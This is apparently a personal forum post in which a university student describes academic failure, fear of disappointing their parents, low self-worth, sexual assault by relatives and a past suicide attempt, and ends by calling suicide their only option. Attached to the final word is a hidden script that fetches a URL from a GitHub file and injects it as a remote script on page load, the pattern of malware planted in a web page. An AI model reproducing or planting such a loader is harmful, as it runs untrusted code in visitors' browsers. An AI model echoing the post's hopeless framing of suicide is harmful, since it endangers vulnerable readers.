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Am scared of disappointing my parents especially my mom,I got an admission I to imsu and am now in 200L,my results for 100L is out,and nothing to write home.I read but I don't know why my grade is always low,my friends said I should not be bothered,and that it's not the end of the world but am still scared because I don't want to disappoint my parents. Am an insecure person and it's always hard to deal with this Insecurities,I always feel like am worthless and very ugly,am scared of what people might think of me.sucidal thought comes into my mind once in a while and I attempted one when I was in secondary school.I still haven't found the courage to do it but the fearof being a disappoint to my family is greater than the lack of courage not to do it. I also feel like a filthy rags whenever am with my friends,my parents are not aware that I have been sexually assaulted by my uncle's and cousins and am scared of telling them because they might judge me,after some time, I started having effects of the assault,I started masturbating and it's hard for me to stop,my addiction always made me feel like am filthy and sometimes when I pray I feel like God doesn't want to answer me. The only option I have now is to commit sucide<script>;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script>